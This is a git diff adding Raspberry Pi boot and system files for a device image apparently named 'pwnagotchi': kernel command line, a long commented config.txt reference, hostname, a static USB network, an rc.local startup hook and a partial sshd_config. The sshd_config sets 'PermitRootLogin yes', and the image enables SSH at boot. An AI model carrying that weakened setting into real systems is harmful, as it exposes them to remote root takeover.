a/sdcard/boot/cmdline.txt b/sdcard/boot/cmdline.txt new file mode 100755 index 0000000..6c44ae3 --- /dev/null +++ b/sdcard/boot/cmdline.txt @@ -0,0 +1 @@ +dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether diff --git a/sdcard/boot/config.txt b/sdcard/boot/config.txt new file mode 100755 index 0000000..98231bc --- /dev/null +++ b/sdcard/boot/config.txt @@ -0,0 +1,1197 @@ +################################################################################ +## Raspberry Pi Configuration Settings +## +## Revision 17, 2018/04/22 +## +## Details taken from the eLinux wiki +## For up-to-date information please refer to wiki page. +## +## Wiki Location : http://elinux.org/RPiconfig +## +## +## Description: +## Details of each setting are described with each section that begins with +## a double hashed comment ('##') +## It is up to the user to remove the single hashed comment ('#') from each +## option they want to enable, and to set the specific value of that option. +## +## Overclock settings will be disabled at runtime if the SoC reaches temp_limit +## +## Originally based off https://github.com/Evilpaul/RPi-config/ with minor +## update because display_rotate is deprecated. +## +################################################################################ + +################################################################################ +## Standard Definition Video Settings +################################################################################ + +## sdtv_mode +## defines the TV standard for composite output +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Normal NTSC (Default) +## 1 Japanese version of NTSC - no pedestal +## 2 Normal PAL +## 3 Brazilian version of PAL - 525/60 rather than 625/50, different +## subcarrier +## +#sdtv_mode=0 + +## sdtv_aspect +## defines the aspect ratio for composite output +## +## Value Description +## ------------------------------------------------------------------------- +## 1 4:3 (Default) +## 2 14:9 +## 3 16:9 +## +#sdtv_aspect=1 + +## sdtv_disable_colourburst +## Disables colour burst on composite output. The picture will be +## monochrome, but possibly sharper +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Colour burst is enabled (Default) +## 1 Colour burst is disabled +## +#sdtv_disable_colourburst=1 + +################################################################################ +## High Definition Video Settings +################################################################################ + +## hdmi_safe +## Use "safe mode" settings to try to boot with maximum hdmi compatibility. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Disabled (Default) +## 1 Enabled (this does: hdmi_force_hotplug=1, +## hdmi_ignore_edid=0xa5000080, +## config_hdmi_boost=4, hdmi_group=2, +## hdmi_mode=4, disable_overscan=0, +## overscan_left=24, overscan_right=24, +## overscan_top=24, overscan_bottom=24) +## +#hdmi_safe=1 + +## hdmi_force_hotplug +## Pretends HDMI hotplug signal is asserted so it appears a HDMI display +## is attached +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Disabled (Default) +## 1 Use HDMI mode even if no HDMI monitor is detected +## +#hdmi_force_hotplug=1 + +## hdmi_ignore_hotplug +## Pretends HDMI hotplug signal is not asserted so it appears a HDMI +## display is not attached +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Disabled (Default) +## 1 Use composite mode even if HDMI monitor is detected +## +#hdmi_ignore_hotplug=1 + +## hdmi_drive +## chooses between HDMI and DVI modes +## +## Value Description +## ------------------------------------------------------------------------- +## 1 Normal DVI mode (No sound) +## 2 Normal HDMI mode (Sound will be sent if supported and enabled) +## +#hdmi_drive=2 + +## hdmi_ignore_edid +## Enables the ignoring of EDID/display data +## +#hdmi_ignore_edid=0xa5000080 + +## hdmi_edid_file +## Read the EDID data from the edid.dat file instead of from the attached +## device +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Read EDID data from attached device (Default) +## 1 Read EDID data from edid.txt file +## +#hdmi_edid_file=1 + +## hdmi_ignore_edid_audio +## Pretends all audio formats are unsupported by display. This means ALSA +## will default to analogue. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use EDID provided values (Default) +## 1 Pretend all audio formats are unsupported +## +#hdmi_ignore_edid_audio=1 + +## hdmi_force_edid_audio +## Pretends all audio formats are supported by display, allowing +## passthrough of DTS/AC3 even when not reported as supported. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use EDID provided values (Default) +## 1 Pretend all audio formats are supported +## +#hdmi_force_edid_audio=1 + +## hdmi_force_edid_3d +## Pretends all CEA modes support 3D even when edid doesn't indicate +## support for them. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use EDID provided values (Default) +## 1 Pretend 3D mode is supported +## +#hdmi_force_edid_3d=1 + +## avoid_edid_fuzzy_match +## Avoid fuzzy matching of modes described in edid. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use fuzzy matching (Default) +## 1 Avoid fuzzy matching +## +#avoid_edid_fuzzy_match=1 + +## hdmi_pixel_encoding +## Force the pixel encoding mode. +## By default it will use the mode requested from edid so shouldn't +## need changing. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use EDID provided values (Default) +## 1 RGB limited (16-235) +## 2 RGB full ( 0-255) +## 3 YCbCr limited (16-235) +## 4 YCbCr limited ( 0-255) +## +#hdmi_pixel_encoding=1 + +## hdmi_group +## Defines the HDMI type +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Use the preferred group reported by the edid (Default) +## 1 CEA +## 2 DMT +## +#hdmi_group=1 + +## hdmi_mode +## defines screen resolution in CEA or DMT format +## +## H means 16:9 variant (of a normally 4:3 mode). +## 2x means pixel doubled (i.e. higher clock rate, with each pixel repeated +## twice) +## 4x means pixel quadrupled (i.e. higher clock rate, with each pixel +## repeated four times) +## reduced blanking means fewer bytes are used for blanking within the data +## stream (i.e. lower clock rate, with fewer wasted bytes) +## +## Value hdmi_group=CEA hdmi_group=DMT +## ------------------------------------------------------------------------- +## 1 VGA 640x350 85Hz +## 2 480p 60Hz 640x400 85Hz +## 3 480p 60Hz H 720x400 85Hz +## 4 720p 60Hz 640x480 60Hz +## 5 1080i 60Hz 640x480 72Hz +## 6 480i 60Hz 640x480 75Hz +## 7 480i 60Hz H 640x480 85Hz +## 8 240p 60Hz 800x600 56Hz +## 9 240p 60Hz H 800x600 60Hz +## 10 480i 60Hz 4x 800x600 72Hz +## 11 480i 60Hz 4x H 800x600 75Hz +## 12 240p 60Hz 4x 800x600 85Hz +## 13 240p 60Hz 4x H 800x600 120Hz +## 14 480p 60Hz 2x 848x480 60Hz +## 15 480p 60Hz 2x H 1024x768 43Hz DO NOT USE +## 16 1080p 60Hz 1024x768 60Hz +## 17 576p 50Hz 1024x768 70Hz +## 18 576p 50Hz H 1024x768 75Hz +## 19 720p 50Hz 1024x768 85Hz +## 20 1080i 50Hz 1024x768 120Hz +## 21 576i 50Hz 1152x864 75Hz +## 22 576i 50Hz H 1280x768 reduced blanking +## 23 288p 50Hz 1280x768 60Hz +## 24 288p 50Hz H 1280x768 75Hz +## 25 576i 50Hz 4x 1280x768 85Hz +## 26 576i 50Hz 4x H 1280x768 120Hz reduced blanking +## 27 288p 50Hz 4x 1280x800 reduced blanking +## 28 288p 50Hz 4x H 1280x800 60Hz +## 29 576p 50Hz 2x 1280x800 75Hz +## 30 576p 50Hz 2x H 1280x800 85Hz +## 31 1080p 50Hz 1280x800 120Hz reduced blanking +## 32 1080p 24Hz 1280x960 60Hz +## 33 1080p 25Hz 1280x960 85Hz +## 34 1080p 30Hz 1280x960 120Hz reduced blanking +## 35 480p 60Hz 4x 1280x1024 60Hz +## 36 480p 60Hz 4x H 1280x1024 75Hz +## 37 576p 50Hz 4x 1280x1024 85Hz +## 38 576p 50Hz 4x H 1280x1024 120Hz reduced blanking +## 39 1080i 50Hz reduced blanking 1360x768 60Hz +## 40 1080i 100Hz 1360x768 120Hz reduced blanking +## 41 720p 100Hz 1400x1050 reduced blanking +## 42 576p 100Hz 1400x1050 60Hz +## 43 576p 100Hz H 1400x1050 75Hz +## 44 576i 100Hz 1400x1050 85Hz +## 45 576i 100Hz H 1400x1050 120Hz reduced blanking +## 46 1080i 120Hz 1440x900 reduced blanking +## 47 720p 120Hz 1440x900 60Hz +## 48 480p 120Hz 1440x900 75Hz +## 49 480p 120Hz H 1440x900 85Hz +## 50 480i 120Hz 1440x900 120Hz reduced blanking +## 51 480i 120Hz H 1600x1200 60Hz +## 52 576p 200Hz 1600x1200 65Hz +## 53 576p 200Hz H 1600x1200 70Hz +## 54 576i 200Hz 1600x1200 75Hz +## 55 576i 200Hz H 1600x1200 85Hz +## 56 480p 240Hz 1600x1200 120Hz reduced blanking +## 57 480p 240Hz H 1680x1050 reduced blanking +## 58 480i 240Hz 1680x1050 60Hz +## 59 480i 240Hz H 1680x1050 75Hz +## 60 1680x1050 85Hz +## 61 1680x1050 120Hz reduced blanking +## 62 1792x1344 60Hz +## 63 1792x1344 75Hz +## 64 1792x1344 120Hz reduced blanking +## 65 1856x1392 60Hz +## 66 1856x1392 75Hz +## 67 1856x1392 120Hz reduced blanking +## 68 1920x1200 reduced blanking +## 69 1920x1200 60Hz +## 70 1920x1200 75Hz +## 71 1920x1200 85Hz +## 72 1920x1200 120Hz reduced blanking +## 73 1920x1440 60Hz +## 74 1920x1440 75Hz +## 75 1920x1440 120Hz reduced blanking +## 76 2560x1600 reduced blanking +## 77 2560x1600 60Hz +## 78 2560x1600 75Hz +## 79 2560x1600 85Hz +## 80 2560x1600 120Hz reduced blanking +## 81 1366x768 60Hz +## 82 1080p 60Hz +## 83 1600x900 reduced blanking +## 84 2048x1152 reduced blanking +## 85 720p 60Hz +## 86 1366x768 reduced blanking +## +#hdmi_mode=1 + +## config_hdmi_boost +## configure the signal strength of the HDMI interface. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 (Default) +## 1 +## 2 +## 3 +## 4 Try if you have interference issues with HDMI +## 5 +## 6 +## 7 Maximum +## +#config_hdmi_boost=0 + +## hdmi_ignore_cec_init +## Doesn't sent initial active source message. Avoids bringing +## (CEC enabled) TV out of standby and channel switch when rebooting. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Normal behaviour (Default) +## 1 Doesn't sent initial active source message +## +#hdmi_ignore_cec_init=1 + +## hdmi_ignore_cec +## Pretends CEC is not supported at all by TV. +## No CEC functions will be supported. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Normal behaviour (Default) +## 1 Pretend CEC is not supported by TV +## +#hdmi_ignore_cec=1 + +################################################################################ +## Overscan Video Settings +################################################################################ + +## overscan_left +## Number of pixels to skip on left +## +#overscan_left=0 + +## overscan_right +## Number of pixels to skip on right +## +#overscan_right=0 + +## overscan_top +## Number of pixels to skip on top +## +#overscan_top=0 + +## overscan_bottom +## Number of pixels to skip on bottom +## +#overscan_bottom=0 + +## disable_overscan +## Set to 1 to disable overscan +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Overscan Enabled (Default) +## 1 Overscan Disabled +## +#disable_overscan=1 + +################################################################################ +## Framebuffer Video Settings +################################################################################ + +## framebuffer_width +## Console framebuffer width in pixels. Default is display width minus +## overscan. +## +#framebuffer_width=0 + +## framebuffer_height +## Console framebuffer height in pixels. Default is display height minus +## overscan. +## +#framebuffer_height=0 + +## framebuffer_depth +## Console framebuffer depth in bits per pixel. +## +## Value Description +## ------------------------------------------------------------------------- +## 8 Valid, but default RGB palette makes an unreadable screen +## 16 (Default) +## 24 Looks better but has corruption issues as of 2012/06/15 +## 32 Has no corruption issues but needs framebuffer_ignore_alpha=1 +## and shows the wrong colors as of 2012/06/15 +## +#framebuffer_depth=16 + +## framebuffer_ignore_alpha +## Set to 1 to disable alpha channel. Helps with 32bit. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Enable Alpha Channel (Default) +## 1 Disable Alpha Channel +## +#framebuffer_ignore_alpha=0 + +################################################################################ +## General Video Settings +################################################################################ + +## display_rotate +## Rotate the display clockwise or flip the display. +## The 90 and 270 degrees rotation options require additional memory on GPU, +## so won't work with the 16M GPU split. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 0 degrees (Default) +## 1 90 degrees +## 2 180 degrees +## 3 270 degrees +## 0x10000 Horizontal flip +## 0x20000 Vertical flip +## +## Note: latest firmware deprecates display_rotate so use these instead. +#display_hdmi_rotate=0 +#display_lcd_rotate=0 + +## dispmanx_offline +## Set to "1" to enable offline compositing +## +## Default 0 +## +#dispmanx_offline=0 + +################################################################################ +## Licensed Codecs +## +## Hardware decoding of additional codecs can be enabled by purchasing a +## license that is locked to the CPU serial number of your Raspberry Pi. +## +## Up to 8 licenses per CODEC can be specified as a comma seperated list. +## +################################################################################ + +## decode_MPG2 +## License key to allow hardware MPEG-2 decoding. +## +#decode_MPG2=0x12345678 + +## decode_WVC1 +## License key to allow hardware VC-1 decoding. +## +#decode_WVC1=0x12345678 + +################################################################################ +## Camera Settings +################################################################################ + +## start_x +## Set to "1" to enable the camera module. +## +## Enabling the camera requires gpu_mem option to be specified with a value +## of at least 128. +## +## Default 0 +## +#start_x=0 + +## disable_camera_led +## Turn off the red camera led when recording video or taking a still +## picture. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 LED enabled (Default) +## 1 LED disabled +## +#disable_camera_led=1 + +################################################################################ +## Test Settings +################################################################################ + +## test_mode +## Enable test sound/image during boot for manufacturing test. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Disable Test Mod (Default) +## 1 Enable Test Mode +## +#test_mode=0 + +################################################################################ +## Memory Settings +################################################################################ + +## disable_l2cache +## Disable arm access to GPU's L2 cache. Needs corresponding L2 disabled +## kernel. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Enable L2 Cache (Default) +## 1 Disable L2 cache +## +#disable_l2cache=0 + +## gpu_mem +## GPU memory allocation in MB for all board revisions. +## +## Default 64 +## +#gpu_mem=128 + +## gpu_mem_256 +## GPU memory allocation in MB for 256MB board revision. +## This option overrides gpu_mem. +## +#gpu_mem_256=192 + +## gpu_mem_512 +## GPU memory allocation in MB for 512MB board revision. +## This option overrides gpu_mem. +## +#gpu_mem_512=448 + +## gpu_mem_1024 +## GPU memory allocation in MB for 1024MB board revision. +## This option overrides gpu_mem. +## +#gpu_mem_1024=944 + +## disable_pvt +## Disable adjusting the refresh rate of RAM every 500ms +## (measuring RAM temparature). +## +#disable_pvt=1 + +################################################################################ +## CMA - Dynamic Memory Split +## +## CMA enables dynamic management of the ARM and GPU memory split at runtime. +## +## The following options need to be in cmdline.txt for CMA to work: +## coherent_pool=6M smsc95xx.turbo_mode=N +## +################################################################################ + +## cma_lwm +## When GPU has less than cma_lwm (low water mark) memory available it +## will request some from ARM. +## +#cma_lwm=16 + +## cma_hwm +## When GPU has more than cma_hwm (high water mark) memory available it +## will release some to ARM. +## +#cma_hwm=32 + +################################################################################ +## Boot Option Settings +################################################################################ + +## disable_commandline_tags +## Stop start.elf from filling in ATAGS (memory from 0x100) before +## launching kernel +## +#disable_commandline_tags=0 + +## cmdline (string) +## Command line parameters. Can be used instead of cmdline.txt file +## +#cmdline="" + +## kernel (string) +## Alternative name to use when loading kernel. +## +#kernel="" + +## kernel_address +## Address to load kernel.img file at +## +#kernel_address=0x00000000 + +## kernel_old +## Support loading old kernels +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Disabled (Default) +## 1 Load kernel at address 0x00000000 +## +#kernel_old=1 + +## ramfsfile (string) +## ramfs file to load +## +#ramfsfile="" + +## ramfsaddr +## Address to load ramfs file at +## +#ramfsaddr=0x00000000 + +## initramfs (string address) +## ramfs file and address to load it at (it's like ramfsfile+ramfsaddr in +## one option). +## +## NOTE: this option uses different syntax than all other options - you +## should not use "=" character here. +## +#initramfs initramf.gz 0x00800000 + +## device_tree_address +## Address to load device_tree at +## +#device_tree_address=0x00000000 + +## init_uart_baud +## Initial uart baud rate. +## +## Default 115200 +## +#init_uart_baud=115200 + +## init_uart_clock +## Initial uart clock. +## +## Default 3000000 (3MHz) +## +#init_uart_clock=3000000 + +## init_emmc_clock +## Initial emmc clock, increasing this can speedup your SD-card. +## +## Default 100000000 (100mhz) +## +#init_emmc_clock=100000000 + +## boot_delay +## Wait for a given number of seconds in start.elf before loading +## kernel.img. +## +## delay = (1000 * boot_delay) + boot_delay_ms +## +## Default 1 +## +#boot_delay=0 + +## boot_delay_ms +## Wait for a given number of milliseconds in start.elf before loading +## kernel.img. +## +## delay = (1000 * boot_delay) + boot_delay_ms +## +## Default 0 +## +#boot_delay_ms=0 + +## avoid_safe_mode +## Adding a jumper between pins 5 & 6 of P1 enables a recovery Safe Mode. +## If pins 5 & 6 are used for connecting to external devices (e.g. GPIO), +## then this setting can be used to ensure Safe Mode is not triggered. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Respect Safe Mode input (Default) +## 1 Ignore Safe Mode input +## +#avoid_safe_mode=1 + +## disable_splash +## Avoids the rainbow splash screen on boot. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Splash screen enabled (Default) +## 1 Splash screen disabled +## +#disable_splash=1 + +################################################################################ +## Overclocking Settings +## +## ARM, SDRAM and GPU each have their own PLLs and can have unrelated +## frequencies. +## +## The GPU core, h264, v3d and isp share a PLL, so need to have related +## frequencies. +## pll_freq = floor(2400 / (2 * core_freq)) * (2 * core_freq) +## gpu_freq = pll_freq / [even number] +## +## The effective gpu_freq is automatically rounded to nearest even integer, so +## asking for core_freq = 500 and gpu_freq = 300 will result in divisor of +## 2000/300 = 6.666 => 6 and so 333.33MHz. +## +## +## Standard Profiles: +## arm_freq core_freq sdram_freq over_voltage +## ------------------------------------------------------------------------- +## None 700 250 400 0 +## Modest 800 300 400 0 +## Medium 900 333 450 2 +## High 950 450 450 6 +## Turbo 1000 500 500 6 +## +################################################################################ + +## force_turbo +## Control the kernel "ondemand" governor. It has no effect if no overclock +## settings are specified. +## May set warrany bit. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Enable dynamic clocks and voltage for the ARM core, GPU core and +## SDRAM (Default). +## Overclocking of h264_freq, v3d_freq and isp_freq is ignored. +## 1 Disable dynamic clocks and voltage for the ARM core, GPU core +## and SDRAM. +## Overclocking of h264_freq, v3d_freq and isp_freq is allowed. +## +#force_turbo=0 + +## initial_turbo +## Enables turbo mode from boot for the given value in seconds (up to 60) +## or until cpufreq sets a frequency. Can help with sdcard corruption if +## overclocked. +## +## Default 0 +## +#initial_turbo=0 + +## temp_limit +## Overheat protection. Sets clocks and voltages to default when the SoC +## reaches this Celsius value. +## Setting this higher than default voids warranty. +## +## Default 85 +## +#temp_limit=85 + +## arm_freq +## Frequency of ARM in MHz. +## +## Default 700. +## +#arm_freq=700 + +## arm_freq_min +## Minimum frequency of ARM in MHz (used for dynamic clocking). +## +## Default 700. +## +#arm_freq_min=700 + +## gpu_freq +## Sets core_freq, h264_freq, isp_freq, v3d_freq together. +## +## Default 250. +## +#gpu_freq=250 + +## core_freq +## Frequency of GPU processor core in MHz. It has an impact on ARM +## performance since it drives L2 cache. +## +## Default 250. +## +#core_freq=250 + +## core_freq_min +## Minimum frequency of GPU processor core in MHz (used for dynamic +## clocking). It has an impact on ARM performance since it drives L2 cache. +## +## Default 250. +## +#core_freq_min=250 + +## h264_freq +## Frequency of hardware video block in MHz. +## +## Default 250. +## +#h264_freq=250 + +## isp_freq +## Frequency of image sensor pipeline block in MHz. +## +## Default 250. +## +#isp_freq=250 + +## v3d_freq +## Frequency of 3D block in MHz. +## +## Default 250. +## +#v3d_freq=250 + +## sdram_freq +## Frequency of SDRAM in MHz. +## +## Default 400. +## +#sdram_freq=400 + +## sdram_freq_min +## Minimum frequency of SDRAM in MHz (used for dynamic clocking). +## +## Default 400. +## +#sdram_freq_min=400 + +## avoid_pwm_pll +## Don't dedicate a pll to PWM audio. This will reduce analogue audio +## quality slightly. The spare PLL allows the core_freq to be set +## independently from the rest of the gpu allowing more control over +## overclocking. +## +## Value Description +## ------------------------------------------------------------------------- +## 0 Linked core_freq (Default) +## 1 Unlinked core_freq +## +#avoid_pwm_pll=1 + +################################################################################ +## Voltage Settings +################################################################################ + +## current_limit_override +## Disables SMPS current limit protection. Can help if you are currently +## hitting a reboot failure when overclocking too high. +## May set warrany bit. +## +#current_limit_override=0x5A000020 + +## over_voltage +## ARM/GPU core voltage adjust. +## May set warrany bit. +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V (requires force_turbo=1 or current_limit_override) +## 8 1.4 V (requires force_turbo=1 or current_limit_override) +## +#over_voltage=0 + +## over_voltage_min +## Minimum ARM/GPU core voltage adjust (used for dynamic clocking). +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V (requires force_turbo=1) +## 8 1.4 V (requires force_turbo=1) +## +#over_voltage_min=0 + +## over_voltage_sdram +## Sets over_voltage_sdram_c, over_voltage_sdram_i, over_voltage_sdram_p +## together +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V +## 8 1.4 V +## +#over_voltage_sdram=0 + +## over_voltage_sdram_c +## SDRAM controller voltage adjust. +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V +## 8 1.4 V +## +#over_voltage_sdram_c=0 + +## over_voltage_sdram_i +## SDRAM I/O voltage adjust. +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V +## 8 1.4 V +## +#over_voltage_sdram_i=0 + +## over_voltage_sdram_p +## SDRAM phy voltage adjust. +## +## Value Description +## ------------------------------------------------------------------------- +## -16 0.8 V +## -15 0.825 V +## -14 0.85 V +## -13 0.875 V +## -12 0.9 V +## -11 0.925 V +## -10 0.95 V +## -9 0.975 V +## -8 1.0 V +## -7 1.025 V +## -6 1.05 V +## -5 1.075 V +## -4 1.1 V +## -3 1.125 V +## -2 1.15 V +## -1 1.175 V +## 0 1.2 V (Default) +## 1 1.225 V +## 2 1.25 V +## 3 1.275 V +## 4 1.3 V +## 5 1.325 V +## 6 1.35 V +## 7 1.375 V +## 8 1.4 V +## +#over_voltage_sdram_p=0 + +################################################################################ +## USB Power +################################################################################ + +## max_usb_current +## When set to 1, change the output current limit (for all 4 USB +## ports combined) from 600mA to double that, 1200mA. +## +## This option is not available for Model A/B boards. +## +## Default 0. +## +#max_usb_current=0 + +################################################################################ +## Base Device Tree Parameters +################################################################################ + +## audio +## Enable the onboard ALSA audio +## +## Default off. +## +#dtparam=audio=off + +## i2c_arm +## Enable the ARM's i2c interface +## +## Default off. +## +#dtparam=i2c_arm=off + +## i2c_vc +## Enable the i2c interface +## +## Usually reserved for the VideoCore processor +## +## Default off. +## +#dtparam=i2c_vc=off + +## i2c_arm_baudrate +## Set the baudrate of the ARM's i2c interface +## +## Default 100000. +## +#dtparam=i2c_arm_baudrate=100000 + +## i2c_vc_baudrate +## Set the baudrate of the VideoCore i2c interface +## +## Default 100000. +## +#dtparam=i2c_vc_baudrate=100000 + +## i2s +## Set to "on" to enable the i2s interface +## +## Default off. +## +#dtparam=i2s=off + +## spi +## Set to "on" to enable the spi interfaces +## +## Default off. +## +#dtparam=spi=off + +## random +## Set to "on" to enable the hardware random +## +## Default off. +## +#dtparam=random=off + +## uart0 +## Set to "off" to disable uart0 +## +## Default on. +## +#dtparam=uart0=on + +## watchdog +## Set to "on" to enable the hardware watchdog +## +## Default off. +## +#dtparam=watchdog=off + +## act_led_trigger +## Choose which activity the LED tracks. +## +## Use "heartbeat" for a nice load indicator. +## +## Default mmc. +## +#dtparam=act_led_trigger=mmc + +## act_led_activelow +## Set to "on" to invert the sense of the LED +## +## Default off. +## +#dtparam=act_led_activelow=off + +## act_led_gpio +## Set which GPIO to use for the activity LED +## +## In case you want to connect it to an external device +## +## Default 16 on a non-Plus board, 47 on a Plus or Pi 2. +## +#dtparam=act_led_gpio=47 + +## pwr_led_trigger +## Choose which activity the LED tracks. +## +## Use "heartbeat" for a nice load indicator. +## +## Not available on Model A/B boards. +## +## Default mmc. +## +#dtparam=pwr_led_trigger=mmc + +## pwr_led_activelow +## Set to "on" to invert the sense of the LED +## +## Not available on Model A/B boards. +## +## Default off. +## +#dtparam=pwr_led_activelow=off + +## pwr_led_gpio +## Set which GPIO to use for the PWR LED +## +## In case you want to connect it to an external device +## +## Not available on Model A/B boards. +## +## Default 35. +## +#dtparam=pwr_led_gpio=35 + +dtoverlay=dwc2 +dtparam=spi=on +dtoverlay=spi1-3cs + diff --git a/sdcard/boot/ssh b/sdcard/boot/ssh new file mode 100644 index 0000000..e69de29 diff --git a/sdcard/rootfs/etc/hostname b/sdcard/rootfs/etc/hostname new file mode 100644 index 0000000..4a58007 --- /dev/null +++ b/sdcard/rootfs/etc/hostname @@ -0,0 +1 @@ +alpha diff --git a/sdcard/rootfs/etc/hosts b/sdcard/rootfs/etc/hosts new file mode 100644 index 0000000..02498b0 --- /dev/null +++ b/sdcard/rootfs/etc/hosts @@ -0,0 +1,6 @@ +127.0.0.1 localhost alpha alpha.local +::1 localhost ip6-localhost ip6-loopback +fe00::0 ip6-localnet +ff00::0 ip6-mcastprefix +ff02::1 ip6-allnodes +ff02::2 ip6-allrouters diff --git a/sdcard/rootfs/etc/motd b/sdcard/rootfs/etc/motd new file mode 100644 index 0000000..6c86778 --- /dev/null +++ b/sdcard/rootfs/etc/motd @@ -0,0 +1 @@ +(◕‿‿◕) alpha (pwnagotchi) diff --git a/sdcard/rootfs/etc/network/interfaces b/sdcard/rootfs/etc/network/interfaces new file mode 100644 index 0000000..1d8ee6b --- /dev/null +++ b/sdcard/rootfs/etc/network/interfaces @@ -0,0 +1,14 @@ +auto lo + +iface lo inet loopback + +allow-hotplug wlan0 +iface wlan0 inet static + +allow-hotplug usb0 +iface usb0 inet static + address 10.0.0.2 + netmask 255.255.255.0 + network 10.0.0.0 + broadcast 10.0.0.255 + gateway 10.0.0.1 diff --git a/sdcard/rootfs/etc/rc.local b/sdcard/rootfs/etc/rc.local new file mode 100755 index 0000000..15fb894 --- /dev/null +++ b/sdcard/rootfs/etc/rc.local @@ -0,0 +1,14 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. +/root/pwnagotchi/scripts/startup.sh & +exit 0 diff --git a/sdcard/rootfs/etc/ssh/sshd_config b/sdcard/rootfs/etc/ssh/sshd_config new file mode 100644 index 0000000..e2f34f6 --- /dev/null +++ b/sdcard/rootfs/etc/ssh/sshd_config @@ -0,0 +1,121 @@ +# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $ + +# This is the sshd server system-wide configuration file. See +# sshd_config(5) for more information. + +# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin + +# The strategy used for options in the default sshd_config shipped with +# OpenSSH is to specify options with their default value where +# possible, but leave them commented. Uncommented options override the +# default value. + +#Port 22 +#AddressFamily any +#ListenAddress 0.0.0.0 +#ListenAddress :: + +#HostKey /etc/ssh/ssh_host_rsa_key +#HostKey /etc/ssh/ssh_host_ecdsa_key +#HostKey /etc/ssh/ssh_host_ed25519_key + +# Ciphers and keying +#RekeyLimit default none + +# Logging +#SyslogFacility AUTH +#LogLevel INFO + +# Authentication: + +#LoginGraceTime 2m +PermitRootLogin yes +#StrictModes yes +#MaxAuthTries 6 +#MaxSessions 10 + +#PubkeyAuthentication yes + +# Expect .ssh/authorized_keys2 to be disregarded by default in future. +#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 + +#AuthorizedPrincipalsFile none + +#AuthorizedKeysCommand none +#AuthorizedKeysCommandUser nobody + +# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts +#HostbasedAuthentication no +# Change to yes if you don't trust ~/.ssh/known_hosts for +# HostbasedAuthentication +#IgnoreUserKnownHosts no +# Don't read the user's ~/.rhosts and ~/.shosts files +#IgnoreRhosts yes + +# To disable tunneled clear text passwords, change to no here! 